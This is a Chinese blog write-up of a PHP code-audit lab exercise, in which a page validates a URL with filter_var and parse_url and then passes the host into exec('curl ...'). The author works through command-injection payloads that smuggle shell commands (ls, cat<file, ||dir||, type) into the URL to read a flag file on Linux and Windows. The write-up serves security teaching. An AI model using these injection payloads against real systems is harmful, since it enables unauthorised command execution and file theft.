代码审计——filter_var函数

红日安全代码审计——day2

原项目地址:
https://github.com/hongriSec/PHP-Audit-Labs/blob/master/Part1/Day2/files/README.md

本文是对day2课后习题的解题及学习

// index.php <?php  $url = $_GET['url']; if(isset($url) && filter_var($url, FILTER_VALIDATE_URL)){     $site_info = parse_url($url);     if(preg_match('/sec-redclub.com$/',$site_info['host'])){         exec('curl "'.$site_info['host'].'"', $result);         echo "<center><h1>You have curl {$site_info['host']} successfully!</h1></center>               <center><textarea rows='20' cols='90'>";         echo implode(' ', $result);     }     else{         die("<center><h1>Error: Host not allowed</h1></center>");     }  } else{     echo "<center><h1>Just curl sec-redclub.com!</h1></center><br>           <center><h3>For example:?url=http://sec-redclub.com</h3></center>"; }  ?> 
// f1agi3hEre.php <?php   $flag = "HRCTF{f1lt3r_var_1s_s0_c00l}" ?> 
代码审计——filter_var函数

源码分析

分析源码,看到exec函数处就知道是让我们构造一个代码执行,读取f1agi3hEre.php中的falg。
通过GET方式传入url,要能通过第一个if判断,这里filter_var的过滤器FILTER_VALIDATE_URL的过滤规则为:把值作为URL来验证且默认模式下必须带有http://、ssh://等协议。接着向下,parse_url将我们传入的url进行分割,对主机名进行第二个if判断,判断主机名的尾部是否是sec-redclub.com,判断正确即可执行下面的命令执行语句:exec('curl "'.$site_info['host'].'"', $result); 。

这里想要通过第一个判断,url中必须包含
http://等协议和sec-redclub.com
这让我想到了url重定向和cors的绕过方式

backurl=http://example.com@sec-redclub.com   //url重定向 

那就先试试这种方式行不行
代码审计——filter_var函数
发现这种方式是可行的,也能通过第二个判断,而要想读取flag还要回到命令执行的源码之中去

exec('curl "'.$site_info['host'].'"', $result); 

我们希望构造的语句为

exec('curl "'.http://+待执行的命令+sec-redclub.com .'"',$result); 

linux下的利用

这里我并没有分析出利用方式,但看了红日团队的解题知道了思路:
和sql注入的拼凑方式相似,这里我们可以通过使用多命令执行符让其执行多个命令,红日团队给出的利用方式为:

url=demo://";ls;#;sec-redclub.com:80/ 

注意:这里使用demo://替换http://的原因为http://中加入特殊符号无法通过filter_var的过滤
继续,拼接进原代码中为:

exec('curl "demo://"; ls ; # ;sec-redclub.com:80/' 

同时执行多个命令,即使前面一个和最后一个执行不成功也没关系,只要我们想要的 ls 执行成功了就行
与此相似,将 ls 改成 cat f1agi3hEre.php 即可读取flag
但这里cat后的空格无法通过filter_var的检测,所以改成cat<f1agi3hEre.php即可读取flag
代码审计——filter_var函数
红日团队构造的语句为:

url=demo://";ls;%23;sec-redclub.com:80/ 
url=demo://";cat<f1agi3hEre.php;%23;sec-redclub.com:80/ 

windows下的利用

但是!

在我的环境中执行后确实这样的
代码审计——filter_var函数

这样的
代码审计——filter_var函数

想了好长时间,和官方给的解题对比了好几遍都没有发现问题
后来猛然想起来我他喵的是用windows搭的环境,而红日团队用的是linux。。。
修改成windows的命令,多行命令连接符也要修改,就变成了如下这样

url=demo://"||dir||"sec-redclub.com:80/ 

拼接到源码中就是:

curl"demo://"||dir||"sec-redclub.com:80/ 

解释:当curl"demo://"执行失败时执行dir,若dir执行失败则执行后面的
代码审计——filter_var函数
读取flag:

url=demo://"||type,f1agi3hEre.php||"sec-redclub.com:80/ 

这里使用逗号代替空格,原因是空格无法通过filter_var的过滤
代码审计——filter_var函数

成功

版权声明:玥玥 发表于 2021-06-13 17:59:09。
转载请注明:代码审计——filter_var函数 | 女黑客导航